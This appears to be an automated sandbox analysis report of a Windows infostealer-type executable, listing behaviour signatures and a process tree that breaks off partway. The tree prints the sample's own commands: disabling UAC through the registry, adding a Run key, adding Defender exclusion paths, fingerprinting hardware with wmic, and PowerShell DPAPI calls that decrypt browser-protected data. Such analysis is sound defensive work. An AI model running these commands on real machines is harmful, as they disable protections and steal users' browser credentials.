Overview

overview

10

Static

static

3

13b8f6d340...80.exe

windows10-2004-x64

10

13b8f6d340...80.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 07:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
  • Size 37.6MB
  • Sample260706-jvsrssbv91
  • SHA256 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 4 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
    "C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\KJS9PRBJcI.ps1""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3876
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\KJS9PRBJcI.ps1"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5680
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ptgjewiu\ptgjewiu.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3148
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC92.tmp" "c:\Users\Admin\AppData\Local\Temp\ptgjewiu\CSCCB0148ACCF43458190E829FB3DC188B9.TMP"
            5⤵
              PID:4472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3564
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic diskdrive get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5636
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4744
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3228
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1408
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,153,186,137,157,230,245,160,233,192,80,192,93,231,150,210,158,74,93,15,19,53,174,30,216,27,31,234,130,250,238,31,34,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,23,217,243,249,233,118,86,149,23,211,225,8,70,148,61,43,241,171,58,101,113,232,6,253,252,126,49,235,48,7,125,214,48,0,0,0,102,106,253,147,169,161,69,253,213,225,55,121,117,91,240,169,90,192,131,157,53,58,5,92,171,136,56,253,138,20,10,146,102,112,226,189,205,17,230,4,198,187,151,25,199,5,68,83,64,0,0,0,29,144,30,70,21,102,12,219,36,181,100,20,2,16,68,190,135,255,54,32,180,19,179,66,34,219,27,151,218,234,48,62,167,60,117,239,135,28,100,131,76,169,248,26,236,252,136,212,200,215,120,14,89,105,51,201,30,21,107,207,195,20,49,105), $null, 'CurrentUser')"
        2⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,153,186,137,157,230,245,160,233,192,80,192,93,231,150,210,158,74,93,15,19,53,174,30,216,27,31,234,130,250,238,31,34,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,23,217,243,249,233,118,86,149,23,211,225,8,70,148,61,43,241,171,58,101,113,232,6,253,252,126,49,235,48,7,125,214,48,0,0,0,102,106,253,147,169,161,69,253,213,225,55,121,117,91,240,169,90,192,131,157,53,58,5,92,171,136,56,253,138,20,10,146,102,112,226,189,205,17,230,4,198,187,151,25,199,5,68,83,64,0,0,0,29,144,30,70,21,102,12,219,36,181,100,20,2,16,68,190,135,255,54,32,180,19,179,66,34,219,27,151,218,234,48,62,167,60,117,239,135,28,100,131,76,169,248,26,236,252,136,212,200,215,120,14,89,105,51,201,30,21,107,207,195,20,49,105), $null, 'CurrentUser')
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1260
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,184,22,103,255,226,2,6,202,212,64,253,216,201,62,27,242,220,40,51,2,113,22,80,87,62,67,171,84,30,195,127,121,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,160,118,117,173,67,166,193,47,116,239,44,5,19,45,101,135,5,180,26,161,42,68,241,112,166,203,222,107,171,139,122,160,48,0,0,0,57,138,98,199,109,53,53,205,171,165,166,82,206,81,38,85,120,3,88,190,123,67,245,92,216,69,205,107,8,85,206,6,201,55,214,158,212,223,0,41,102,32,203,64,102,179,104,73,64,0,0,0,51,119,34,51,103,81,255,149,42,159,66,233,184,198,25,247,121,36,39,253,17,229,74,122,205,249,77,34,54,13,201,238,235,172,183,29,219,104,99,48,238,168,52,51,109,4,73,31,249,54,155,75,220,181,212,111,128,168,77,255,244,42,171,90), $null, 'CurrentUser')"
        2⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:3828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,184,22,103,255,226,2,6,202,212,64,253,216,201,62,27,242,220,40,51,2,113,22,80,87,62,67,171,84,30,195,127,121,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,160,118,117,173,67,166,193,47,116,239,44,5,19,45,101,135,5,180,26,161,42,68,241,112,166,203,222,107,171,139,122,160,48,0,0,0,57,138,98,199,109,53,53,205,171,165,166,82,206,81,38,85,120,3,88,190,123,67,245,92,216,69,205,107,8,85,206,6,201,55,214,158,212,223,0,41,102,32,203,64,102,179,104,73,64,0,0,0,51,119,34,51,103,81,255,149,42,159,66,233,184,198,25,247,121,36,39,253,17,229,74,122,205,249,77,34,54,13,201,238,235,172,183,29,219,104,99,48,238,168,52,51,109,4,73,31,249,54,155,75,220,181,212,111,128,168,77,255,244,42,171,90), $null, 'CurrentUser')
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4200
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • UAC bypass
          PID:936
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic diskdrive get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5464
        • C:\Windows\system32\reg.exe
          reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f
          3⤵
          • Adds Run key to start application
          PID:4880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.HMkGs8jk0i""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.HMkGs8jk0i"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2480
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1188
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic baseboard get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2724
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3984
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic baseboard get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1552
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "pip install pillow"
        2⤵
          PID:4204
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5372
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic path win32_computersystemproduct get uuid
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2544
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3136
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Description,PNPDeviceID
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2968
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:484
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic memorychip get serialnumber
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4692
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4172
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3540
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4736
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic cpu get processorid
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3116
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2424
          • C:\Windows\system32\getmac.exe
            getmac /NH
            3⤵
              PID:4820
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\ProgramData\Update.vbs"
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:4188
          • C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
            "C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe"
            2⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:4964
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\7peEHwigOG.ps1""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2620
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\7peEHwigOG.ps1"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2716
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\34byfj3n\34byfj3n.cmdline"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:6116
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB07.tmp" "c:\Users\Admin\AppData\Local\Temp\34byfj3n\CSC5F79EB5709040D983C6224946E997F0.TMP"
                    6⤵
                      PID:1596
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1612
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic diskdrive get serialnumber
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:6096
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:828
                • C:\Windows\System32\tasklist.exe
                  tasklist
                  4⤵
                  • Enumerates processes with tasklist
                  PID:3388
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4092
                • C:\Windows\System32\tasklist.exe
                  tasklist
                  4⤵
                  • Enumerates processes with tasklist
                  PID:2052
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,153,186,137,157,230,245,160,233,192,80,192,93,231,150,210,158,74,93,15,19,53,174,30,216,27,31,234,130,250,238,31,34,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,23,217,243,249,233,118,86,149,23,211,225,8,70,148,61,43,241,171,58,101,113,232,6,253,252,126,49,235,48,7,125,214,48,0,0,0,102,106,253,147,169,161,69,253,213,225,55,121,117,91,240,169,90,192,131,157,53,58,5,92,171,136,56,253,138,20,10,146,102,112,226,189,205,17,230,4,198,187,151,25,199,5,68,83,64,0,0,0,29,144,30,70,21,102,12,219,36,181,100,20,2,16,68,190,135,255,54,32,180,19,179,66,34,219,27,151,218,234,48,62,167,60,117,239,135,28,100,131,76,169,248,26,236,252,136,212,200,215,120,14,89,105,51,201,30,21,107,207,195,20,49,105), $null, 'CurrentUser')"
                3⤵
                • An obfuscated cmd.exe command-line is typically used to evade detection.
                • Suspicious use of WriteProcessMemory
                PID:3412
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,153,186,137,157,230,245,160,233,192,80,192,93,231,150,210,158,74,93,15,19,53,174,30,216,27,31,234,130,250,238,31,34,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,23,217,243,249,233,118,86,149,23,211,225,8,70,148,61,43,241,171,58,101,113,232,6,253,252,126,49,235,48,7,125,214,48,0,0,0,102,106,253,147,169,161,69,253,213,225,55,121,117,91,240,169,90,192,131,157,53,58,5,92,171,136,56,253,138,20,10,146,102,112,226,189,205,17,230,4,198,187,151,25,199,5,68,83,64,0,0,0,29,144,30,70,21,102,12,219,36,181,100,20,2,16,68,190,135,255,54,32,180,19,179,66,34,219,27,151,218,234,48,62,167,60,117,239,135,28,100,131,76,169,248,26,236,252,136,212,200,215,120,14,89,105,51,201,30,21,107,207,195,20,49,105), $null, 'CurrentUser')
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2200
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,184,22,103,255,226,2,6,202,212,64,253,216,201,62,27,242,220,40,51,2,113,22,80,87,62,67,171,84,30,195,127,121,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,160,118,117,173,67,166,193,47,116,239,44,5,19,45,101,135,5,180,26,161,42,68,241,112,166,203,222,107,171,139,122,160,48,0,0,0,57,138,98,199,109,53,53,205,171,165,166,82,206,81,38,85,120,3,88,190,123,67,245,92,216,69,205,107,8,85,206,6,201,55,214,158,212,223,0,41,102,32,203,64,102,179,104,73,64,0,0,0,51,119,34,51,103,81,255,149,42,159,66,233,184,198,25,247,121,36,39,253,17,229,74,122,205,249,77,34,54,13,201,238,235,172,183,29,219,104,99,48,238,168,52,51,109,4,73,31,249,54,155,75,220,181,212,111,128,168,77,255,244,42,171,90), $null, 'CurrentUser')"
                3⤵
                • An obfuscated cmd.exe command-line is typically used to evade detection.
                • Suspicious use of WriteProcessMemory
                PID:2668
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,5,182,141,98,23,108,75,78,183,46,121,149,215,34,228,107,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,184,22,103,255,226,2,6,202,212,64,253,216,201,62,27,242,220,40,51,2,113,22,80,87,62,67,171,84,30,195,127,121,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,160,118,117,173,67,166,193,47,116,239,44,5,19,45,101,135,5,180,26,161,42,68,241,112,166,203,222,107,171,139,122,160,48,0,0,0,57,138,98,199,109,53,53,205,171,165,166,82,206,81,38,85,120,3,88,190,123,67,245,92,216,69,205,107,8,85,206,6,201,55,214,158,212,223,0,41,102,32,203,64,102,179,104,73,64,0,0,0,51,119,34,51,103,81,255,149,42,159,66,233,184,198,25,247,121,36,39,253,17,229,74,122,205,249,77,34,54,13,201,238,235,172,183,29,219,104,99,48,238,168,52,51,109,4,73,31,249,54,155,75,220,181,212,111,128,168,77,255,244,42,171,90), $null, 'CurrentUser')
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4380
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2152
                • C:\Windows\System32\reg.exe
                  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                  4⤵
                  • UAC bypass
                  PID:4652
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:6060
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic diskdrive get serialnumber
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1036
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4744
                • C:\Windows\System32\reg.exe
                  reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 /t REG_SZ /d "C:\ProgramData\Update.vbs" /f
                  4⤵
                  • Adds Run key to start application
                  PID:5320
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.uPmFBs1EAf""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3432
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.uPmFBs1EAf"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1300
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""
                3⤵
                  PID:2768
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:552
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
                  3⤵
                    PID:2568
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic baseboard get serialnumber
                      4⤵
                        PID:5508
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
                      3⤵
                        PID:3936
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic baseboard get serialnumber
                          4⤵
                            PID:1504
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "pip install pillow"
                          3⤵
                            PID:3676
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
                            3⤵
                              PID:5108
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic path win32_computersystemproduct get uuid
                                4⤵
                                  PID:1472
                              • C:\Users\Admin\AppData\Local\Temp\python-installer.exe
                                C:\Users\Admin\AppData\Local\Temp\python-installer.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
                                3⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:3408
                                • C:\Windows\Temp\{D731A8B5-BB5F-48E8-862E-93B03BB28314}\.cr\python-installer.exe
